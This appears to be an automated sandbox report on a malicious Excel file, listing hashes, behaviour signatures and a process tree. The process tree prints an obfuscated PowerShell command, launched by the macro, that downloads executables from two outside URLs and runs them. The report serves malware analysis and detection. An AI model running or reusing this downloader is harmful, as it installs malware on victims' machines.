Analysis

  • max time kernel
    47s
  • max time network
    38s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-07-2024 22:18

General

  • Target

    522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595.xls

  • Size

    50KB

  • MD5

    be48c26f93d365d34256f295518f7c5f

  • SHA1

    678bcb970e4b656ab4de7d92b3937d071f0fbf11

  • SHA256

    522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595

  • SHA512

    a1d865d727fa270b759513e5472588b3045d948d4218a4043cfe3537a24231f5c93087da0eb8c7c4887c032e80693796858ba71d111373277a2e020bd19e5c5f

  • SSDEEP

    768:cnvd4joBriV7prNEPrW+L7uXjNyEnQm0:cmjoBri3mzhPUJyY

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Start PowerShell.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\522821904c650085320f9a9f229b69b9d61dd96cb5ea30782f62726f3dabf595.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1248
    • C:\Windows\SYSTEM32\CMd.exe
      CMd.exe /c "p^ow^Ers^hel^l^.e^xe^ -nO^l -No^Ni^Nt^ -W^IndOws^ 1 -NoprOFIle^ -ex^Ec^u B^Ypa^S^s -Wi^ 1 -N^O^Pr^ $random = N^ew-^O^b^je^ct^ Sy^st^em.^Ran^do^m; Fo^rea^ch($um in @({http://berurn.com/videos.exe},{http://rejmed.cz/tmp/visa.exe})) { t^ry { $fg = $ra^n^do^m.n^e^xt(0, 61132); $pp = '%appdata%\' + $fg + '.exe'; ^(^ne^w-^ob^jec^t s^ys^t^e^m.ne^t^.webcli^en^t)^.D^ow^nl^o^ad^Fi^le($um.ToString(), $pp); St^a^rt-^Pr^oce^ss $pp; b^re^ak; } c^at^ch { Wr^it^e-Ho^st $err^or[0].E^x^cep^ti^on } }"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:348
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powErshell.exe -nOl -NoNiNt -WIndOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://berurn.com/videos.exe},{http://rejmed.cz/tmp/visa.exe})) { try { $fg = $random.next(0, 61132); $pp = 'C:\Users\Admin\AppData\Roaming\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } }
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2468

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uv5wtgws.0vu.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    2KB

    MD5

    c094e7aa8ea9555a3e92c1587730db5c

    SHA1

    c509e0eb96cba7a5161c98d305d8a6748b9b0f8f

    SHA256

    c8e7e1b5e887eae48d35fb270a7ef6dbd20fd82bd705b7dd8b79c9a4906c382a

    SHA512

    e6a40766f4778e2536f1c4ce6184048533d71c7bbe5d1af8a9ad84ec86d32d83ab94e4743990fbf028f5999787910ab0a44e3e4969fce975a982ab11d3b5563e

  • memory/1248-12-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

    Filesize

    2.0MB

  • memory/1248-546-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

    Filesize

    2.0MB

  • memory/1248-0-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

    Filesize

    64KB

  • memory/1248-5-0x00007FFEA21ED000-0x00007FFEA21EE000-memory.dmp

    Filesize

    4KB

  • memory/1248-6-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

    Filesize

    2.0MB

  • memory/1248-8-0x00007FFE5FFB0000-0x00007FFE5FFC0000-memory.dmp

    Filesize

    64KB

  • memory/1248-7-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

    Filesize

    2.0MB

  • memory/1248-9-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

    Filesize

    2.0MB

  • memory/1248-11-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

    Filesize

    2.0MB

  • memory/1248-16-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

    Filesize

    2.0MB

  • memory/1248-3-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

    Filesize

    64KB

  • memory/1248-4-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

    Filesize

    64KB

  • memory/1248-10-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

    Filesize

    2.0MB

  • memory/1248-18-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

    Filesize

    2.0MB

  • memory/1248-19-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

    Filesize

    2.0MB

  • memory/1248-15-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

    Filesize

    2.0MB

  • memory/1248-14-0x00007FFE5FFB0000-0x00007FFE5FFC0000-memory.dmp

    Filesize

    64KB

  • memory/1248-13-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

    Filesize

    2.0MB

  • memory/1248-99-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

    Filesize

    2.0MB

  • memory/1248-1-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

    Filesize

    64KB

  • memory/1248-17-0x00007FFEA2150000-0x00007FFEA2345000-memory.dmp

    Filesize

    2.0MB

  • memory/1248-2-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

    Filesize

    64KB

  • memory/2468-531-0x000001E8C4690000-0x000001E8C46B2000-memory.dmp

    Filesize

    136KB